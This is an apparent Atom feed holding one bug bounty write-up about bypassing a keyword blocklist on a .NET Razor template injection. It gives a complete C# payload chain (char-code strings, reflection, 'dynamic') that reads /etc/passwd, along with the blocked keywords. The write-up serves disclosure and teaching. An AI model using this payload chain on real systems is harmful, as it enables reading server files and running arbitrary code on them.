<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://phsi.se/feed.xml" rel="self" type="application/atom+xml" /><link href="https://phsi.se/" rel="alternate" type="text/html" /><updated>2026-05-21T16:18:25+02:00</updated><id>https://phsi.se/feed.xml</id><title type="html">phsi</title><subtitle>Bug bounty writeups and security research.</subtitle><author><name>Philip Sinnott</name></author><entry><title type="html">Chaining Razor SSTI into RCE via Reflection and Runtime Strings</title><link href="https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings/" rel="alternate" type="text/html" title="Chaining Razor SSTI into RCE via Reflection and Runtime Strings" /><published>2026-05-20T00:00:00+02:00</published><updated>2026-05-20T00:00:00+02:00</updated><id>https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings</id><content type="html" xml:base="https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings/"><![CDATA[<p>A few months ago, I found a textbook case of server-side template injection (SSTI) in an app’s template functionality. It was the first time I’d found one in the wild during bug bounty hunting, so I was very excited.</p>

<p>However, right after reporting it, I checked the hacktivity tab and noticed someone had submitted the exact same thing just before me.</p>

<figure class="img-caption">
  <img src="/assets/img/razor-ssti-rce/discordmsg.png" alt="discord message about the dupe" style="max-width: 70%;" />
  <figcaption>Translation: I think I just duped a SSTI/RCE with a 20 min window...</figcaption>
</figure>

<p>Not long after, I got it confirmed - the reports were a whopping <strong>four minutes</strong> apart:</p>

<p><img src="/assets/img/razor-ssti-rce/dupemsg.png" alt="dupe confirmation showing reports four minutes apart" style="max-width: 90%;" /></p>

<p>So yeah, that excitement didn’t last very long.</p>

<p>A few months later, I was testing the same functionality for a different case and hit a validation error I hadn’t seen before. I tried some old payloads that had previously worked, but they were all getting blocked.</p>

<p>I checked hacktivity again and the original report still hadn’t been formally resolved. So it looked like they <em>had</em> deployed a fix, they just never got around to closing the report.</p>

<p>At that point, I went on the hunt for a bypass. It ended up being an interesting challenge!</p>

<h2 id="background">Background</h2>
<p>Razor is a templating engine used in .NET web apps. It lets you mix C# code into HTML using <code class="language-plaintext highlighter-rouge">@</code> as a prefix. So if a developer writes <code class="language-plaintext highlighter-rouge">@DateTime.Now</code> in a template, the server runs that as actual C# and renders the result into the page.</p>

<p>The problem arises when user input ends up inside a Razor template. If you can inject <code class="language-plaintext highlighter-rouge">@</code> expressions into something the server compiles, you get arbitrary C# execution.</p>

<p>In this case, the app had a feature that let users edit templates through a web interface. The backend compiled those templates with Razor, so anything you typed into the editor got executed as C# on the server. My original payload was trivial and just called <code class="language-plaintext highlighter-rouge">System.IO.File</code> directly (.NET’s file system API):</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">@System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">ReadAllText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="the-fix">The fix</h3>
<p>From what I could tell, the fix was a keyword blocklist. It seemed to scan templates for dangerous strings like <code class="language-plaintext highlighter-rouge">System.IO.File</code>, <code class="language-plaintext highlighter-rouge">System.Environment</code>, <code class="language-plaintext highlighter-rouge">GetMethod()</code>, and certain type casts before saving. If anything matched you got back a validation error.</p>

<h3 id="why-the-fix-didnt-work">Why the fix didn’t work</h3>

<p>The blocklist covered a lot of dangerous strings and blocked most obvious payloads. But things like loops, type conversions, and reflection were all still available, and the templates were still being compiled as C#. <code class="language-plaintext highlighter-rouge">@(4*4)</code> rendered <code class="language-plaintext highlighter-rouge">16</code>, <code class="language-plaintext highlighter-rouge">@(System.DateTime.Now)</code> returned the server timestamp, and so on.</p>

<h2 id="the-bypass">The bypass</h2>

<h3 id="1-building-strings-from-char-codes">1. Building strings from char codes</h3>

<p>The blocklist would catch you if you wrote <code class="language-plaintext highlighter-rouge">System.IO.File</code> anywhere in the template. But what if you never wrote it?</p>

<p>Since every character has a numeric ASCII value (<code class="language-plaintext highlighter-rouge">S</code>=83, <code class="language-plaintext highlighter-rouge">y</code>=121, etc.), you could build any string at runtime from an array of numbers:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">string</span> <span class="n">typeName</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="kt">int</span><span class="p">[]</span> <span class="n">l</span> <span class="p">=</span> <span class="p">{</span><span class="m">83</span><span class="p">,</span><span class="m">121</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">109</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">73</span><span class="p">,</span><span class="m">79</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">70</span><span class="p">,</span><span class="m">105</span><span class="p">,</span><span class="m">108</span><span class="p">,</span><span class="m">101</span><span class="p">};</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">l</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">typeName</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// typeName is now "System.IO.File"</span>
</code></pre></div></div>

<p>The blocklist scanned the raw template text before it ever compiled. I could tell because the error triggered on save, before anything ran. So it was looking for the literal text <code class="language-plaintext highlighter-rouge">System.IO.File</code> in what you typed. But with this technique, the blocklist would just see a bunch of integers, so the scan passed and the string would later get assembled at runtime, after the check had already cleared it.</p>

<p>I got this technique from @brumens. He wrote a great post about <a href="https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation">SSTI exploitation</a>, I highly recommend reading it if you have time.</p>

<h3 id="2-turning-that-string-into-an-actual-type-via-net-reflection">2. Turning that string into an actual type via .NET reflection</h3>

<p>At this point I had the raw string <code class="language-plaintext highlighter-rouge">"System.IO.File"</code>, but you can’t use it to call file system methods, so I needed a way to actually get hold of that type at runtime.</p>

<p>That’s where <a href="https://learn.microsoft.com/en-us/dotnet/fundamentals/reflection/overview">.NET reflection</a> comes in. Normally when you call something in C#, the class and method names are written directly in your source code:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">ReadAllText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span>
</code></pre></div></div>

<p>Reflection lets you do the exact same thing, but by passing the names as strings at runtime instead:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// class name as a string</span>
<span class="kt">var</span> <span class="n">fileType</span> <span class="p">=</span> <span class="n">Type</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s">"System.IO.File"</span><span class="p">);</span>
<span class="c1">// method name as a string</span>
<span class="kt">var</span> <span class="n">readAllText</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s">"ReadAllText"</span><span class="p">,</span> <span class="k">new</span><span class="p">[]{</span> <span class="k">typeof</span><span class="p">(</span><span class="kt">string</span><span class="p">)</span> <span class="p">});</span>
<span class="n">readAllText</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span><span class="p">[]{</span> <span class="s">"/etc/passwd"</span> <span class="p">});</span>
</code></pre></div></div>

<p>The end result is identical. The only difference is how you reference the class and method.</p>

<p>The obvious move now would be to just call <code class="language-plaintext highlighter-rouge">Type.GetType("System.IO.File")</code> directly, but <code class="language-plaintext highlighter-rouge">GetType</code> was also on the blocklist.</p>

<p>However, what wasn’t blocked was <code class="language-plaintext highlighter-rouge">GetMethods()</code>, which returns every method on a type as an array instead of looking up just a singular one. Using this, I could ask <code class="language-plaintext highlighter-rouge">System.Type</code> (which is .NET’s built-in class that represents all types) for all of its methods, use LINQ (C#’s built-in way to filter collections) to search through them and find the one named <code class="language-plaintext highlighter-rouge">GetType</code>, and then build that method name from char codes too so it never appeared as a literal:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// (71,101,116,84,121,112,101) = "GetType"</span>
<span class="kt">var</span> <span class="n">getTypeMethod</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Type</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="k">new</span> <span class="kt">string</span><span class="p">(</span><span class="k">new</span><span class="p">[]{</span>
        <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">71</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">116</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">84</span><span class="p">,</span>
        <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">121</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">112</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span>
    <span class="p">})</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">1</span><span class="p">);</span>

<span class="kt">var</span> <span class="n">fileType</span> <span class="p">=</span> <span class="n">getTypeMethod</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">typeName</span> <span class="p">});</span>
<span class="c1">// fileType is now a live Type reference to System.IO.File</span>
</code></pre></div></div>

<p>I filtered by <code class="language-plaintext highlighter-rouge">GetParameters().Length == 1</code> because <code class="language-plaintext highlighter-rouge">GetType</code> has <a href="https://learn.microsoft.com/en-us/dotnet/api/system.type.gettype?view=netframework-4.8.1#overloads" target="_blank" rel="noopener noreferrer">multiple overloads</a>, and I wanted the one that takes a single string argument.</p>

<p>Now <code class="language-plaintext highlighter-rouge">fileType</code> held the <code class="language-plaintext highlighter-rouge">System.IO.File</code> type. To call one of its methods I needed to retrieve them first, and <code class="language-plaintext highlighter-rouge">"GetMethods"</code> was blocked too, but building it via char codes worked here as well.</p>

<p>You might notice <code class="language-plaintext highlighter-rouge">fileType.GetType()</code> in the code below and wonder why that’s fine when GetType was blocked. As mentioned earlier, the method has multiple overloads. <code class="language-plaintext highlighter-rouge">fileType.GetType()</code> is the no-argument version built into every .NET object that just returns the object’s own type. That overload didn’t get caught by the blocklist, so we could call it directly.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// (71,101,116,77,101,116,104,111,100,115) = "GetMethods"</span>
<span class="kt">string</span> <span class="n">getMethodsName</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="kt">int</span><span class="p">[]</span> <span class="n">k</span> <span class="p">=</span> <span class="p">{</span><span class="m">71</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">77</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">104</span><span class="p">,</span><span class="m">111</span><span class="p">,</span><span class="m">100</span><span class="p">,</span><span class="m">115</span><span class="p">};</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">k</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">getMethodsName</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span>
<span class="p">}</span>

<span class="kt">var</span> <span class="n">fileMethods</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">getMethodsName</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">fileType</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>
<span class="c1">// fileMethods now contains every method on System.IO.File</span>
</code></pre></div></div>

<h3 id="3-dodging-the-cast-restrictions-with-dynamic">3. Dodging the cast restrictions with <code class="language-plaintext highlighter-rouge">dynamic</code></h3>

<p>At this point I was able to do the following:</p>
<ul>
  <li>Build any blocked string from char codes at runtime so the blocklist only sees integers</li>
  <li>Resolve those strings into actual .NET types via reflection</li>
</ul>

<p>The last problem was <code class="language-plaintext highlighter-rouge">.Invoke()</code>’s return type. It always comes back as <code class="language-plaintext highlighter-rouge">object</code>, and to actually use the result you’d normally need to cast it first. But as mentioned earlier, casts were also on the blocklist.</p>

<blockquote>
  <p>A type cast tells the compiler to treat a value as a specific type. C# is statically typed, so types are checked at compile time. If something is typed as <code class="language-plaintext highlighter-rouge">object</code> (the most generic type in .NET), the compiler won’t let you call methods on it or index into it as an array. A cast is just you telling the compiler what type it actually is, so it lets you use it properly.</p>
  <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">object</span> <span class="n">x</span> <span class="p">=</span> <span class="s">"hello"</span><span class="p">;</span>
<span class="n">x</span><span class="p">.</span><span class="nf">ToUpper</span><span class="p">();</span>          <span class="c1">// error: x is typed as object, no ToUpper()</span>
<span class="p">((</span><span class="kt">string</span><span class="p">)</span><span class="n">x</span><span class="p">).</span><span class="nf">ToUpper</span><span class="p">()</span> <span class="c1">// works: cast tells compiler x is a string</span>
</code></pre></div>  </div>
</blockquote>

<p>Luckily for us, C# has a keyword called <code class="language-plaintext highlighter-rouge">dynamic</code> that tells the compiler to skip type checking entirely. You can index into it, call methods on it, etc. without the compiler checking any of it.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">dynamic</span> <span class="n">fileMethods</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">getMethodsName</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">fileType</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>

<span class="kt">var</span> <span class="n">openText</span> <span class="p">=</span> <span class="n">fileMethods</span><span class="p">[</span><span class="m">0</span><span class="p">];</span> <span class="c1">// OpenText = opens a file for reading</span>
</code></pre></div></div>

<p>It’s the same chain from the end of step 2, just with <code class="language-plaintext highlighter-rouge">dynamic fileMethods</code> instead of <code class="language-plaintext highlighter-rouge">var fileMethods</code>.</p>

<h2 id="the-full-chain">The full chain</h2>

<p>Combining all three, here’s what the final payload looks like. Note that the <code class="language-plaintext highlighter-rouge">/etc/passwd</code> path is encoded the same way.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="p">{</span>
    <span class="kt">string</span> <span class="n">n</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">l</span> <span class="p">=</span> <span class="p">{</span><span class="m">83</span><span class="p">,</span><span class="m">121</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">109</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">73</span><span class="p">,</span><span class="m">79</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">70</span><span class="p">,</span><span class="m">105</span><span class="p">,</span><span class="m">108</span><span class="p">,</span><span class="m">101</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">l</span><span class="p">)</span> <span class="p">{</span> <span class="n">n</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">var</span> <span class="n">g</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Type</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="k">new</span> <span class="kt">string</span><span class="p">(</span><span class="k">new</span><span class="p">[]{</span>
            <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">71</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">116</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">84</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">121</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">112</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span>
        <span class="p">})</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">1</span><span class="p">);</span>

    <span class="kt">var</span> <span class="n">t</span> <span class="p">=</span> <span class="n">g</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">n</span> <span class="p">});</span>

    <span class="kt">string</span> <span class="n">gm</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">k</span> <span class="p">=</span> <span class="p">{</span><span class="m">71</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">77</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">104</span><span class="p">,</span><span class="m">111</span><span class="p">,</span><span class="m">100</span><span class="p">,</span><span class="m">115</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">k</span><span class="p">)</span> <span class="p">{</span> <span class="n">gm</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">dynamic</span> <span class="n">ms</span> <span class="p">=</span> <span class="n">t</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">gm</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>

    <span class="kt">var</span> <span class="n">m</span> <span class="p">=</span> <span class="n">ms</span><span class="p">[</span><span class="m">0</span><span class="p">];</span>

    <span class="kt">string</span> <span class="n">f</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">p</span> <span class="p">=</span> <span class="p">{</span><span class="m">47</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">99</span><span class="p">,</span><span class="m">47</span><span class="p">,</span><span class="m">112</span><span class="p">,</span><span class="m">97</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">119</span><span class="p">,</span><span class="m">100</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">p</span><span class="p">)</span> <span class="p">{</span> <span class="n">f</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">var</span> <span class="n">sr</span> <span class="p">=</span> <span class="n">m</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">f</span> <span class="p">});</span>
    <span class="kt">var</span> <span class="n">v</span> <span class="p">=</span> <span class="n">sr</span><span class="p">.</span><span class="nf">ReadToEnd</span><span class="p">();</span>
<span class="p">}</span><span class="n">@v</span>
</code></pre></div></div>

<p>In the end, all it does is:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">@System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">OpenText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">).</span><span class="nf">ReadToEnd</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/razor-ssti-rce/collaborator.png" alt="Burp Collaborator SMTP callback showing /etc/passwd output" style="max-width: 100%;" /></p>

<p>Aside from reading arbitrary files on the server, we could point the same chain at other types and methods across the .NET runtime to achieve further impact as well.</p>

<p><img src="/assets/img/razor-ssti-rce/bounty.png" alt="bounty award" style="max-width: 500px;" /></p>

<p>At least the second attempt was worth it, höhö.</p>]]></content><author><name>Philip Sinnott</name></author><category term="bug bounty" /><summary type="html"><![CDATA[A few months ago, I found a textbook case of server-side template injection (SSTI) in an app’s template functionality. It was the first time I’d found one in the wild during bug bounty hunting, so I was very excited.]]></summary></entry></feed>